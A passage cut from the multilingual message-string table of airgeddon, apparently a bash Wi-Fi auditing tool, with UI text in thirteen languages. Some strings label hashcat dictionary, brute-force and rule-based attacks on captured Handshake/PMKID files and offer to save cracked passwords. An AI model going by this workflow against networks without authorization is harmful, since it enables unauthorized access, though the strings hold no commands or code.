ملف الالتقاط" arr["CHINESE",216]="在捕获的文件中未检测到 Handshake/s 或 PMKID/s" arr["ENGLISH",217]="Only one valid target detected on file. BSSID autoselected [\${normal_color}\${bssid}\${blue_color}]" arr["SPANISH",217]="Sólo un objetivo válido detectado en el fichero. Se ha seleccionado automáticamente el BSSID [\${normal_color}\${bssid}\${blue_color}]" arr["FRENCH",217]="Le seul réseau valide présent dans le fichier choisi a été sélectionné automatiquement, son BSSID est [\${normal_color}\${bssid}\${blue_color}]" arr["CATALAN",217]="Només un objectiu vàlid detectat en el fitxer. S'ha seleccionat automàticament el BSSID [\${normal_color}\${bssid}\${blue_color}]" arr["PORTUGUESE",217]="Apenas um alvo válido detectado no arquivo. BSSID selecionado automaticamente [\${normal_color}\${bssid}\${blue_color}]" arr["RUSSIAN",217]="В файле обнаружена только одна подходящая цель. BSSID выбрана автоматически [\${normal_color}\${bssid}\${blue_color}]" arr["GREEK",217]="Μόνο ένας έγκυρος στόχος εντοπίστηκε στο αρχείο. Επιλέχθηκε αυτόματα το BSSID [\${normal_color}\${bssid}\${blue_color}]" arr["ITALIAN",217]="Solo un bersaglio valido rilevato nel file. Viene selezionato automaticamente il BSSID [\${normal_color}\${bssid}\${blue_color}]" arr["POLISH",217]="W pliku został wykryty tylko jeden prawidłowy cel. BSSID wybrany automatycznie [\${normal_color}\${bssid}\${blue_color}]" arr["GERMAN",217]="Nur ein gültiges Ziel wurde in der Datei gefunden. Die BSSID [\${normal_color}\${bssid}\${blue_color}] wurde automatisch ausgewählt" arr["TURKISH",217]="Dosyada sadece bir tane geçerli hedef tespit edildi. BSSID otomatik seçildi [\${normal_color}\${bssid}\${blue_color}]" arr["ARABIC",217]="[\${normal_color}\${bssid}\${blue_color}] تلقائيًا BSSID تم اكتشاف هدف واحد صالح في الملف. تم تحديد" arr["CHINESE",217]="文件中仅检测到一个有效目标。BSSID 自动选择 [\${normal_color}\${bssid}\${blue_color}]" arr["ENGLISH",218]="Optional tools: checking..." arr["SPANISH",218]="Herramientas opcionales: comprobando..." arr["FRENCH",218]="Vérification de la présence des outils optionnels..." arr["CATALAN",218]="Eines opcionals: comprovant..." arr["PORTUGUESE",218]="Verificando se as ferramentas opcionais estão presentes..." arr["RUSSIAN",218]="Опциональные инструменты: проверка..." arr["GREEK",218]="Προαιρετικά εργαλεία: γίνεται έλεγχος..." arr["ITALIAN",218]="Strumenti opzionali: controllo ..." arr["POLISH",218]="Narzędzia opcjonalne: sprawdzanie..." arr["GERMAN",218]="Optionale Tools: Überprüfung..." arr["TURKISH",218]="İsteğe bağlı araçlar: kontrol ediliyor..." arr["ARABIC",218]="...أدوات اختيارية: فحص" arr["CHINESE",218]="可选工具: 检查中..." arr["ENGLISH",219]="Your distro has the essential tools but it hasn't some optional. The script can continue but you can't use some features. It is recommended to install missing tools" arr["SPANISH",219]="Tu distro tiene las herramientas esenciales pero le faltan algunas opcionales. El script puede continuar pero no podrás utilizar algunas funcionalidades. Es recomendable instalar las herramientas que faltan" arr["FRENCH",219]="Votre système contient les outils fondamentaux nécessaires à l’exécution du script mais il manque quelques outils pour pouvoir utiliser pleinement toutes les fonctionnalités proposées par le script. Le script va pouvoir être exécuté mais il est conseillé d'installer les outils manquants" arr["CATALAN",219]="La teva distro té les eines essencials però li falten algunes opcionals. El script pot continuar però no podràs utilitzar algunes funcionalitats. És recomanable instal·lar les eines que faltin" arr["PORTUGUESE",219]="Sua distro tem as ferramentas essenciais, mas carece de algumas opcionais. O script pode continuar, mas você não poderá usar alguns recursos. É aconselhável instalar as ferramentas ausentes" arr["RUSSIAN",219]="Ваш дистрибутив имеет базовые инструменты, но не имеет некоторые опциональные. Скрипт может продолжить работу, но вы не сможете использовать некоторые функции. Рекомендуется установить отсутствующие инструменты" arr["GREEK",219]="Η διανομή σας έχει τα απαραίτητα εργαλεία αλλά δεν έχει κάποια προαιρετικά. Το script μπορεί να συνεχίσει αλλά δεν θα μπορέσετε να χρησιμοποιήσετε κάποια χαρακτηριστικά. Συνιστάται να εγκαταστήσετε τα λείποντα εργαλεία" arr["ITALIAN",219]="La tua distro ha gli strumenti essenziali, ma mancano alcuni opzionali. Lo script può continuare, ma non è possibile utilizzare alcune funzioni. Si consiglia di installare gli strumenti mancanti" arr["POLISH",219]="Twoja dystrybucja Linuxa ma podstawowe narzędzia, ale brakuje niektórych opcjonalnych. Skrypt może być kontynuowany, ale nie będziesz mógł używać niektórych funkcji. Zaleca się zainstalowanie brakujących narzędzi" arr["GERMAN",219]="Ihre Distribution hat die wesentlichen Werkzeuge, aber einige optionale fehlen. Das Skript kann fortgesetzt werden, Sie können jedoch einige Funktionen nicht verwenden. Es empfiehlt sich, die fehlenden Tools zu installieren" arr["TURKISH",219]="Dağıtımınız temel araçlara sahiptir, ancak bazı opsiyonel araçlar mevcut değildir. Yazılım devam edebilir, ancak bazı özellikleri kullanamazsınız. Eksik araçların tamamlanması tavsiye edilir" arr["ARABIC",219]="تحتوي التوزيعة الخاصة بك على الأدوات الأساسية ولكنها ليست اختيارية. يمكن أن يستمر البرنامج ولكن لا يمكنك استخدام بعض الميزات. يوصى بتثبيت الأدوات المفقودة" arr["CHINESE",219]="您的发行版具有基本工具,但没有一些可选工具。脚本可以继续,但您不能使用某些功能。建议安装缺少的工具" arr["ENGLISH",220]="Locked menu option was chosen" arr["SPANISH",220]="Opción del menú bloqueada" arr["FRENCH",220]="Cette option du menu est bloquée" arr["CATALAN",220]="Opció del menú bloquejada" arr["PORTUGUESE",220]="Menu bloqueado" arr["RUSSIAN",220]="Была выбрана заблокированная опция меню" arr["GREEK",220]="Επιλέχθηκε κλειδωμένη επιλογή" arr["ITALIAN",220]="Opzione del menù bloccata" arr["POLISH",220]="Opcja zablokowana" arr["GERMAN",220]="Blockierte Menüoption" arr["TURKISH",220]="Kilitli menü seçeneği seçildi" arr["ARABIC",220]="تم اختيار خيارمقفل في القائمة" arr["CHINESE",220]="选择了锁定的菜单选项" arr["ENGLISH",221]="Accepted bash version (\${BASH_VERSION}). Minimum required version: \${minimum_bash_version_required}" arr["SPANISH",221]="Versión de bash (\${BASH_VERSION}) aceptada. Mínimo requerido versión: \${minimum_bash_version_required}" arr["FRENCH",221]="Votre version de bash (\${BASH_VERSION}) est acceptée. Version minimale requise: \${minimum_bash_version_required}" arr["CATALAN",221]="Versió de bash (\${BASH_VERSION}) acceptada. Versió minima requerida: \${minimum_bash_version_required}" arr["PORTUGUESE",221]="Versão Bash (\${BASH_VERSION}) aceita. Versão mínima exigida: \${minimum_bash_version_required}" arr["RUSSIAN",221]="Используемая версия bash (\${BASH_VERSION}). Минимальная требуемая версия: \${minimum_bash_version_required}" arr["GREEK",221]="Αποδεκτή έκδοση bash (\${BASH_VERSION}). Ελάχιστη απαιτούμενη έκδοση: \${minimum_bash_version_required}" arr["ITALIAN",221]="Versione di bash (\${BASH_VERSION}) accettata. Minima versione richiesta: \${minimum_bash_version_required}" arr["POLISH",221]="Zaakceptowano wersję bash (\${BASH_VERSION}). Minimalna wymagana wersja: \${minimum_bash_version_required}" arr["GERMAN",221]="Bash-Version (\${BASH_VERSION}) akzeptiert. Mindestversion erforderlich: \${minimum_bash_version_required}" arr["TURKISH",221]="Kabul edilen bash sürümü (\${BASH_VERSION}). Gerekli minimum sürüm: \${minimum_bash_version_required}" arr["ARABIC",221]="\${minimum_bash_version_required} :أدنى إصدار مطلوب.(\${BASH_VERSION}) مقبول bashإصدار" arr["CHINESE",221]="可接受 bash 版本 (\${BASH_VERSION})。最低要求版本: \${minimum_bash_version_required}" arr["ENGLISH",222]="Insufficient bash version (\${BASH_VERSION}). Minimum required version: \${minimum_bash_version_required}" arr["SPANISH",222]="Versión de bash insuficiente (\${BASH_VERSION}). Mínimo requerido versión: \${minimum_bash_version_required}" arr["FRENCH",222]="Votre version de bash (\${BASH_VERSION}) n'est pas suffisante. Version minimale requise: \${minimum_bash_version_required}" arr["CATALAN",222]="Versió de bash insuficient (\${BASH_VERSION}). Versió mínima requerida: \${minimum_bash_version_required}" arr["PORTUGUESE",222]="Versão Bash insuficiente (\${BASH_VERSION}). Versão mínima exigida: \${minimum_bash_version_required}" arr["RUSSIAN",222]="Неудовлетворительная версия bash (\${BASH_VERSION}). Минимальная требуемая версия: \${minimum_bash_version_required}" arr["GREEK",222]="Ανεπαρκής έκδοση bash (\${BASH_VERSION}). Ελάχιστη απαιτούμενη έκδοση: \${minimum_bash_version_required}" arr["ITALIAN",222]="Versione di bash insufficiente (\${BASH_VERSION}). Versione minima richiesta: \${minimum_bash_version_required}" arr["POLISH",222]="Niewystarczająca wersja bash (\${BASH_VERSION}). Minimalna wymagana wersja: \${minimum_bash_version_required}" arr["GERMAN",222]="Unzureichende Bash-Version (\${BASH_VERSION}). Mindestversion erforderlich: \${minimum_bash_version_required}" arr["TURKISH",222]="Yetersiz bash sürümü (\${BASH_VERSION}). Gerekli minimum sürüm: \${minimum_bash_version_required}" arr["ARABIC",222]="\${minimum_bash_version_required} :أدنى إصدار مطلوب.(\${BASH_VERSION}) غير كافي bashإصدار" arr["CHINESE",222]="bash 版本不足 (\${BASH_VERSION})。最低要求版本: \${minimum_bash_version_required}" arr["ENGLISH",223]="airgeddon needs root permissions to work. Launch the script as root user or using \"sudo\"" arr["SPANISH",223]="airgeddon necesita permisos de root para funcionar. Lanza el script como usuario root o usando \"sudo\"" arr["FRENCH",223]="airgeddon a besoin de permissions root pour être exécuté. Lancez the script en tant que root ou en utilisant \"sudo\"" arr["CATALAN",223]="airgeddon necessita permisos de root per funcionar. Llança l'script com a usuari root o utilitza \"sudo\"" arr["PORTUGUESE",223]="airgeddon necessita de permissões root para funcionar. Execute o script como root ou usando \"sudo\"" arr["RUSSIAN",223]="airgeddon требует для работы прав root. Запустите скрипт как root пользователь или используйте \"sudo\"" arr["GREEK",223]="Το airgeddon χρειάζεται root δικαιώματα για να δουλέψει. Ανοίξτε το script ως χρήστης root ή χρησιμοποιήστε \"sudo\"" arr["ITALIAN",223]="airgeddon ha bisogno dei permessi di root per l'esecuzione. Lancia lo script come root o usando \"sudo\"" arr["POLISH",223]="airgeddon wymaga uprawnień root do pracy. Uruchom skrypt jako root lub użyj \"sudo\"" arr["GERMAN",223]="airgeddon benötigt root Berechtigungen um zu arbeiten. Starten Sie das Skript als root oder mit \"sudo\"" arr["TURKISH",223]="airgeddon'un çalışması için root izinlerine ihtiyacı var. Yazılımı root kullanıcısı olarak veya \"sudo\" kullanarak başlat" arr["ARABIC",223]="\"sudo\" أو باستخدام root للعمل. قم بتشغيل البرنامج ك root إلى أذونات airgeddon يحتاج" arr["CHINESE",223]="airgeddon 需要 root 权限才能工作。以 root 用户或使用 \"sudo\" 启动脚本" arr["ENGLISH",224]="The script execution continues from exactly the same point where it was" arr["SPANISH",224]="El script continua su ejecución desde exactamente el mismo punto en el que estaba" arr["FRENCH",224]="L'exécution du script se poursuit à partir exactement du même point où il était" arr["CATALAN",224]="El script contínua la seva execució des d'exactament el mateix punt en el qual estava" arr["PORTUGUESE",224]="A execução do script continuará exatamente do mesmo ponto" arr["RUSSIAN",224]="Выполнение скрипта продолжиться с точно той точки, на которой он был" arr["GREEK",224]="Η εκτέλεση του script συνεχίζει ακριβώς από το ίδιο σημείο που ήταν" arr["ITALIAN",224]="Lo script continua l'esecuzione esattamente dallo stesso punto in cui era" arr["POLISH",224]="Skrypt kontynuuje wykonywanie z punktu, w którym zakończyl" arr["GERMAN",224]="Das Skript setzt seine Ausführung von genau dem Punkt fort, wo es war" arr["TURKISH",224]="Yazılım tam olarak aynı noktadan devam eder" arr["ARABIC",224]="يستمر تنفيذ البرنامج من نفس النقطة التي كان فيها" arr["CHINESE",224]="脚本将完全从相同的点继续向下执行" arr["ENGLISH",225]="The script can't check if there is a new version because you haven't installed update tools needed" arr["SPANISH",225]="El script no puede comprobar si hay una nueva versión porque no tienes instaladas las herramientas de actualización necesarias" arr["FRENCH",225]="Le script ne peut pas vérifier si une nouvelle version est disponible parce que vous n'avez pas installé les outils nécessaires de mise à jour" arr["CATALAN",225]="El script no pot comprovar si hi ha una nova versió perquè no tens instal·lades les eines d'actualització necessàries" arr["PORTUGUESE",225]="O script não pôde verificar se há uma nova versão porque você não tem instalado as ferramentas de atualização necessárias" arr["RUSSIAN",225]="Скрипт не может проверить имеется ли новая версия, поскольку у вас не установлены необходимые инструменты обновления" arr["GREEK",225]="Το script δεν μπορεί να ελέγξει αν υπάρχει νεότερη έκδοση γιατί δεν έχετε εγκαταστήσει τα απαραίτητα εργαλεία ενημερώσεων" arr["ITALIAN",225]="Lo script non può verificare se c'è una nuova versione perché non sono stati installati gli strumenti di aggiornamento necessari" arr["POLISH",225]="Skrypt nie może sprawdzić nowej wersji, ponieważ nie ma zainstalowanych niezbędnych narzędzi aktualizacji" arr["GERMAN",225]="Das Skript kann nicht überprüfen, ob eine neue Version vorhanden ist, da die erforderlichen Update-Tools nicht installiert sind" arr["TURKISH",225]="Yazılım, ihtiyaç duyduğunuz güncelleme araçlarını yüklemediğinden yeni bir sürüm olup olmadığını kontrol edemiyor" arr["ARABIC",225]="يتعذر على البرنامج التحقق مما إذا كان هناك إصدار جديد لأنك لم تقم بتثبيت أدوات التحديث المطلوبة" arr["CHINESE",225]="该脚本无法检查是否有新版本,因为您尚未安装所需的更新工具" arr["ENGLISH",226]="Update tools: checking..." arr["SPANISH",226]="Herramientas de actualización: comprobando..." arr["FRENCH",226]="Vérification de la présence des outils de mise à jour..." arr["CATALAN",226]="Eines d'actualització: comprovant..." arr["PORTUGUESE",226]="Verificando ferramentas de atualização..." arr["RUSSIAN",226]="Инструменты для обновления: проверка..." arr["GREEK",226]="Εργαλεία ενημερώσεων: γίνεται έλεγχος..." arr["ITALIAN",226]="Strumenti di aggiornamento: controllo ..." arr["POLISH",226]="Narzędzia aktualizacji: sprawdzanie..." arr["GERMAN",226]="Update-Tools: Überprüfung..." arr["TURKISH",226]="Güncelleme araçları: kontrol ediliyor..." arr["ARABIC",226]="...التحقق من وجود أدوات التحديث" arr["CHINESE",226]="脚本更新工具: 检查中..." arr["ENGLISH",227]="Working... " arr["SPANISH",227]="Trabajando... " arr["FRENCH",227]="Travail... " arr["CATALAN",227]="Treballant... " arr["PORTUGUESE",227]="Trabalhando... " arr["RUSSIAN",227]="Работаем... " arr["GREEK",227]="Δουλεύει... " arr["ITALIAN",227]="Lavorando... " arr["POLISH",227]="Praca... " arr["GERMAN",227]="In Arbeit... " arr["TURKISH",227]="Çalışıyor... " arr["ARABIC",227]=" ...جاري العمل" arr["CHINESE",227]="工作中... " arr["ENGLISH",228]=" Developed by \${author}" arr["SPANISH",228]=" Programado por \${author}" arr["FRENCH",228]=" Programmé par \${author}" arr["CATALAN",228]=" Desenvolupat per \${author}" arr["PORTUGUESE",228]=" Programado por \${author}" arr["RUSSIAN",228]=" Создал \${author}" arr["GREEK",228]=" Προγραμματισμένο από \${author}" arr["ITALIAN",228]=" Sviluppato da \${author}" arr["POLISH",228]=" Opracowany przez \${author}" arr["GERMAN",228]=" Entwickelt von \${author}" arr["TURKISH",228]=" \${author} tarafından geliştirildi" arr["ARABIC",228]=" \${author} المبرمج" arr["CHINESE",228]=" 由 \${author} 开发" arr["ENGLISH",229]="hashcat CPU/GPU attacks" arr["SPANISH",229]="ataques hashcat CPU/GPU" arr["FRENCH",229]="attaques hashcat CPU/GPU" arr["CATALAN",229]="atacs hashcat CPU/GPU" arr["PORTUGUESE",229]="Ataques com hashcat usando CPU/GPU" arr["RUSSIAN",229]="Атаки hashcat с использованием CPU/GPU" arr["GREEK",229]="επιθέσεις hashcat CPU/GPU" arr["ITALIAN",229]="attacchi hashcat CPU/GPU" arr["POLISH",229]="ataki hashcat CPU/GPU" arr["GERMAN",229]="CPU/GPU-hashcat-Angriffe" arr["TURKISH",229]="hashcat CPU/GPU saldırılar" arr["ARABIC",229]="hashcat CPU/GPU هجمات" arr["CHINESE",229]="hashcat CPU/GPU 破解" arr["ENGLISH",230]="3. (hashcat) Dictionary attack against Handshake/PMKID capture file" arr["SPANISH",230]="3. (hashcat) Ataque de diccionario sobre fichero de captura Handshake/PMKID" arr["FRENCH",230]="3. (hashcat) Attaque de dictionnaire en utilisant le fichier de capture Handshake/PMKID" arr["CATALAN",230]="3. (hashcat) Atac de diccionari sobre fitxer de captura Handshake/PMKID" arr["PORTUGUESE",230]="3. (hashcat) Ataque de dicionário sobre um arquivo de captura com Handshake/PMKID" arr["RUSSIAN",230]="3. (hashcat) Перебор по словарю против файла захвата Handshake/PMKID" arr["GREEK",230]="3. (hashcat) Επίθεση λεξικού στο capture αρχείου Handshake/PMKID" arr["ITALIAN",230]="3. (hashcat) Attacco dizionario sul file di cattura Handshake/PMKID" arr["POLISH",230]="3. (hashcat) Atak słownikowy na plik przechwytywania Handshake/PMKID" arr["GERMAN",230]="3. (hashcat) Wörterbuchangriff gegen Capture-Datei Handshake/PMKID" arr["TURKISH",230]="3. (hashcat) Handshake/PMKID capture dosyasına karşı sözlük saldırısı" arr["ARABIC",230]="3. Handshake/PMKID هجوم بالقاموس ضد ملف التقاط (hashcat)" arr["CHINESE",230]="3. (hashcat) 针对 Handshake/PMKID 捕获的文件进行字典攻击" arr["ENGLISH",231]="4. (hashcat) Bruteforce attack against Handshake/PMKID capture file" arr["SPANISH",231]="4. (hashcat) Ataque de fuerza bruta sobre fichero de captura Handshake/PMKID" arr["FRENCH",231]="4. (hashcat) Attaque de force brute en utilisant le fichier de capture Handshake/PMKID" arr["CATALAN",231]="4. (hashcat) Atac de força bruta sobre fitxer de captura Handshake/PMKID" arr["PORTUGUESE",231]="4. (hashcat) Ataque de força bruta sobre arquivo de captura com Handshake/PMKID" arr["RUSSIAN",231]="4. (hashcat) Брутфорс атака против файла захвата Handshake/PMKID" arr["GREEK",231]="4. (hashcat) Επίθεση bruteforce στο capture αρχείο Handshake/PMKID" arr["ITALIAN",231]="4. (hashcat) Attacco di forza bruta sul file di cattura Handshake/PMKID" arr["POLISH",231]="4. (hashcat) Atak brute force na plik przechwytywania Handshake/PMKID" arr["GERMAN",231]="4. (hashcat) Brute-Force-Angriff gegen Capture-Datei Handshake/PMKID" arr["TURKISH",231]="4. (hashcat) Handshake/PMKID capture dosyasına karşı kaba kuvvet saldırısı" arr["ARABIC",231]="4. Handshake/PMKID هجوم بروت فورس ضد ملف التقاط (hashcat)" arr["CHINESE",231]="4. (hashcat) 针对 Handshake/PMKID 捕获的文件进行暴力破解攻击" arr["ENGLISH",232]="5. (hashcat) Rule based attack against Handshake/PMKID capture file" arr["SPANISH",232]="5. (hashcat) Ataque basado en reglas sobre fichero de captura Handshake/PMKID" arr["FRENCH",232]="5. (hashcat) Attaque fondé sur des règles en utilisant le fichier de capture Handshake/PMKID" arr["CATALAN",232]="5. (hashcat) Atac basat en regles sobre fitxer de captura Handshake/PMKID" arr["PORTUGUESE",232]="5. (hashcat) Ataque baseado em regras sobre arquivo de captura com Handshake/PMKID" arr["RUSSIAN",232]="5. (hashcat) Атака на основе правил против файла захвата Handshake/PMKID" arr["GREEK",232]="5. (hashcat) Rule based επίθεση στο capture αρχείο Handshake/PMKID" arr["ITALIAN",232]="5. (hashcat) Attacco basato su regole sul file di cattura Handshake/PMKID" arr["POLISH",232]="5. (hashcat) Atak na plik przechwytywania Handshake/PMKID oparty na regułach" arr["GERMAN",232]="5. (hashcat) Regelbasierter Angriff gegen Capture-Datei Handshake/PMKID" arr["TURKISH",232]="5. (hashcat) Handshake/PMKID capture dosyasına karşı kural tabanlı saldırı" arr["ARABIC",232]="5. Handshake/PMKID هجوم قائم على القواعد ضد ملف التقاط (hashcat)" arr["CHINESE",232]="5. (hashcat) 针对 Handshake/PMKID 捕获的文件进行基于规则的攻击" arr["ENGLISH",233]="Type the path to store the file or press [Enter] to accept the default proposal \${normal_color}[\${hashcat_potpath}]" arr["SPANISH",233]="Escribe la ruta donde guardaremos el fichero o pulsa [Enter] para aceptar la propuesta por defecto \${normal_color}[\${hashcat_potpath}]" arr["FRENCH",233]="Entrez le chemin où vous voulez enregistrer le fichier ou bien appuyez sur [Enter] pour utiliser le chemin proposé \${normal_color}[\${hashcat_potpath}]" arr["CATALAN",233]="Escriu la ruta on guardarem el fitxer o prem [Enter] per acceptar la proposta per defecte \${normal_color}[\${hashcat_potpath}]" arr["PORTUGUESE",233]="Digite o caminho onde armazenar o arquivo ou pressione [Enter] para aceitar o padrão \${normal_color}[\${hashcat_potpath}]" arr["RUSSIAN",233]="Напечатайте путь к сохранённому файлу или нажмите [Enter] для принятия предложения по умолчанию \${normal_color}[\${hashcat_potpath}]" arr["GREEK",233]="Πληκτρολογήστε το μονοπάτι για την αποθήκευση του αρχείου ή πατήστε [Enter] για την προεπιλεγμένη επιλογή \${normal_color}[\${hashcat_potpath}]" arr["ITALIAN",233]="Immettere il percorso dove memorizzare il file o premere [Enter] per accettare quello di default \${normal_color}[\${hashcat_potpath}]" arr["POLISH",233]="Wpisz ścieżkę do zapisu pliku lub naciśnij [Enter], aby zaakceptować domyślną propozycję \${normal_color}[\${hashcat_potpath}]" arr["GERMAN",233]="Schreiben Sie den Pfad wo die Datei gespeichert werden soll, oder drücken Sie die [Enter], um den Standardvorschlag zu akzeptieren \${normal_color}[\${hashcat_potpath}]" arr["TURKISH",233]="Dosyayı depolamak için yolu yazın veya varsayılan teklifi kabul etmek için [Enter] tuşuna basın. \${normal_color}[\${hashcat_potpath}]" arr["ARABIC",233]="\${normal_color}[\${hashcat_potpath}]\${green_color} لاستخدام المسار المقترح [Enter] أدخل المسار الذي تريد حفظ الملف فيه أو اضغط على\${normal_color}" arr["CHINESE",233]="输入文件的存储路径或按 [Enter] 接受默认建议 \${normal_color}[\${hashcat_potpath}]" arr["ENGLISH",234]="Congratulations!! It seems the key has been decrypted" arr["SPANISH",234]="Enhorabuena!! Parece que la clave ha sido descifrada" arr["FRENCH",234]="Félicitations!! Il semble que la clef a été décryptée" arr["CATALAN",234]="Enhorabona!! Sembla que la clau ha estat desxifrada" arr["PORTUGUESE",234]="Parabéns!! Parece que a senha foi descriptografada" arr["RUSSIAN",234]="Поздравления!! Похоже на то, что ключ был расшифрован" arr["GREEK",234]="Συγχαρητήρια!! Φαίνεται πως το κλειδί αποκρυπτογραφήθηκε" arr["ITALIAN",234]="Congratulazioni!! Sembra che la password sia stata decifrata" arr["POLISH",234]="Gratulacje!! Wygląda na to, że klucz został odszyfrowany" arr["GERMAN",234]="Herzlichen Glückwunsch!! Es scheint, dass der Schlüssel entschlüsselt wurde" arr["TURKISH",234]="Tebrikler!! Görünüşe göre key şifresi çözüldü" arr["ARABIC",234]="تهانينا!! يبدو أنه تم فك تشفير المفتاح" arr["CHINESE",234]="恭喜!!密码已被破解" arr["ENGLISH",235]="Do you want to save the trophy file with the decrypted password? \${normal_color}\${visual_choice}" arr["SPANISH",235]="¿Quieres guardar el fichero de trofeo con la clave descifrada? \${normal_color}\${visual_choice}" arr["FRENCH",235]="Voulez-vous enregistrer le fichier trophée avec le mot de passe déchiffré? \${normal_color}\${visual_choice}" arr["CATALAN",235]="¿Vols desar el fitxer de trofeu amb la clau desxifrada? \${normal_color}\${visual_choice}" arr["PORTUGUESE",235]="Você quer salvar arquivo com a senha descriptografada? \${normal_color}\${visual_choice}" arr["RUSSIAN",235]="Вы хотите сохранить трофейный файл с расшифрованным паролем? \${normal_color}\${visual_choice}" arr["GREEK",235]="Θέλετε να αποθηκεύσετε το αρχείο τρόπαιο με τον αποκρυπτογραφημένο κωδικό πρόσβασης; \${normal_color}\${visual_choice}" arr["ITALIAN",235]="Vuoi salvare il file trofeo con la password decifrata? \${normal_color}\${visual_choice}" arr["POLISH",235]="Czy chcesz zapisać plik trofeum przy użyciu odszyfrowanego klucza? \${normal_color}\${visual_choice}" arr["GERMAN",235]="Möchten Sie die Trophäendatei mit dem entschlüsselten Schlüssel speichern? \${normal_color}\${visual_choice}" arr["TURKISH",235]="Trophy dosyasını şifresi çözülmüş olarak kaydetmek istiyor musunuz? \${normal_color}\${visual_choice}" arr["ARABIC",235]="\${normal_color}\${visual_choice} \${green_color}هل تريد حفظ ملف الغنيمة مع كلمة السرالتي تم فك تشفيرها؟\${normal_color}" arr["CHINESE",235]="你想保存得到的密码吗?\${normal_color}\${visual_choice}" arr["ENGLISH",236]="Hashcat trophy file generated successfully at [\${normal_color}\${potenteredpath}\${blue_color}]" arr["SPANISH",236]="Fichero de trofeo hashcat generado con éxito en [\${normal_color}\${potenteredpath}\${blue_color}]" arr["FRENCH",236]="Le fichier trophée hashcat a bien été crée dans [\${normal_color}\${potenteredpath}\${blue_color}]" arr["CATALAN",236]="Fitxer de trofeu hashcat generat amb èxit a [\${normal_color}\${potenteredpath}\${blue_color}]" arr["PORTUGUESE",236]="Arquivo de troféu hashcat gerado com sucesso [\${normal_color}\${potenteredpath}\${blue_color}]" arr["RUSSIAN",236]="Трофейный файл hashcat был успешно сгенерирован в [\${normal_color}\${potenteredpath}\${blue_color}]" arr["GREEK",236]="Το hashcat αρχείο τρόπαιο δημιουργήθηκε επιτυχώς [\${normal_color}\${potenteredpath}\${blue_color}]" arr["ITALIAN",236]="File di trofeo di hashcat generato con successo [\${normal_color}\${potenteredpath}\${blue_color}]" arr["POLISH",236]="Plik trofeum hashcat został pomyślnie wygenerowany w [\${normal_color}\${potenteredpath}\${blue_color}]" arr["GERMAN",236]="Trophäen-Datei-Hashcat erfolgreich in [\${normal_color}\${potenteredpath}\${blue_color}] generiert" arr["TURKISH",236]="Hashcat trophy dosyası başarıyla şurada oluşturuldu [\${normal_color}\${potenteredpath}\${blue_color}]" arr["ARABIC",236]="[\${normal_color}\${potenteredpath}\${blue_color}] بنجاح في Hashcat تم إنشاء ملف غنيمة" arr["CHINESE",236]="在 [\${normal_color}\${potenteredpath}\${blue_color}] 成功生成 Hashcat 文件" arr["ENGLISH",237]="There is a problem with the files or the entered path. Make sure that ca.pem, server.pem and server.key files exist in the given path. The attack can't be performed" arr["SPANISH",237]="Existe un problema con los ficheros o la ruta introducida. Asegúrate de que los ficheros ca.pem, server.pem y server.key existen en la ruta indicada. El ataque no se puede realizar" arr["FRENCH",237]="Il y a un problème avec les fichiers ou le chemin entré. Assurez-vous que les fichiers ca.pem, server.pem et server.key existent dans le chemin indiqué. L'attaque ne peut pas être effectuée" arr["CATALAN",237]="Hi ha un problema amb els fitxers o la ruta introduïda. assegura't que els fitxers ca.pem, server.pem i server.key existeixen a la ruta indicada. L'atac no es pot realitzar" arr["PORTUGUESE",237]="Existe um problema com os arquivos ou com o caminho digitado. Certifique-se de que os arquivos ca.pem, server.pem e server.key existam no caminho indicado. O ataque não pode ser realizado" arr["RUSSIAN",237]="Возникла проблема с файлами или указанным путём. Убедитесь, что файлы ca.pem, server.pem и server.key существуют по указанному пути. Атака не может быть выполнена" arr["GREEK",237]="Υπάρχει κάποιο πρόβλημα με τα αρχεία ή τη διαδρομή που έχετε εισάγει. Βεβαιωθείτε ότι τα αρχεία ca.pem, server.pem και server.key υπάρχουν στην υποδεικνυόμενη διαδρομή. Η επίθεση δεν μπορεί να εκτελεστεί" arr["ITALIAN",237]="C'è un problema con i files o il percorso immessi. Assicurati che i file ca.pem, server.pem e server.key esistano nel percorso indicato. L'attacco non può essere eseguito" arr["POLISH",237]="Wystąpił problem z plikami lub wprowadzoną ścieżką. Upewnij się, że pliki ca.pem, server.pem i server.key istnieją we wskazanej lokalizacji. Nie można wykonać ataku" arr["GERMAN",237]="Es gibt ein Problem mit den Dateien oder dem eingegebenen Pfad. Stellen Sie sicher, dass die Dateien ca.pem, server.pem und server.key im angegebenen Pfad vorhanden sind. Der Angriff kann nicht ausgeführt werden" arr["TURKISH",237]="Dosyalarda veya girilen yolda bir sorun var. ca.pem, server.pem ve server.key dosyalarının belirtilen yolda bulunduğundan emin olun. Saldırı gerçekleştirilemez" arr["ARABIC",237]="توجد مشكلة في الملفات أو المسار المدخل. تأكد من وجود ملفات ca.pem و server.pem و server.key في المسار المحدد. لا يمكن تنفيذ الهجوم" arr["CHINESE",237]="文件或输入的路径有问题。确保给定路径中存在 ca.pem、server.pem 和 server.key 文件。否则无法执行攻击" arr["ENGLISH",238]="Charset selection menu" arr["SPANISH",238]="Menú de selección de juego de caracteres" arr["FRENCH",238]="Menu de sélection du jeu de caractères" arr["CATALAN",238]="Menú de selecció de joc de caràcters" arr["PORTUGUESE",238]="Menu de seleção do conjunto de caracteres" arr["RUSSIAN",238]="Меню выбора набора символов" arr["GREEK",238]="Μενού επιλογής συμβολοσειράς" arr["ITALIAN",238]="Menú di selezione del set di caratteri" arr["POLISH",238]="Menu wyboru zestawu znaków" arr["GERMAN",238]="Zeichensatz-Auswahlmenü" arr["TURKISH",238]="Karakter kümesi seçim menüsü" arr["ARABIC",238]="قائمة اختيار مجموعة الأحرف" arr["CHINESE",238]="字符集选择菜单" arr["ENGLISH",239]="You already have selected a rules file during this session [\${normal_color}\${RULES}\${blue_color}]" arr["SPANISH",239]="Ya tienes seleccionado un fichero de reglas en esta sesión [\${normal_color}\${RULES}\${blue_color}]" arr["FRENCH",239]="Vous avez déjà sélectionné un fichier règles pour cette session \${normal_color}\${RULES}\${blue_color}]" arr["CATALAN",239]="Ja tens seleccionat un fitxer de regles en aquesta sessió [\${normal_color}\${RULES}\${blue_color}]" arr["PORTUGUESE",239]="Você selecionou um arquivo de regras nesta sessão [\${normal_color}\${RULES}\${blue_color}]" arr["RUSSIAN",239]="Во время этой сессии вы уже выбрали файл с правилами [\${normal_color}\${RULES}\${blue_color}]" arr["GREEK",239]="Έχετε ήδη επιλέξει αρχείο κανόνων κατά τη διάρκεια τησ συνεδρίας [\${normal_color}\${RULES}\${blue_color}]" arr["ITALIAN",239]="È giá stato 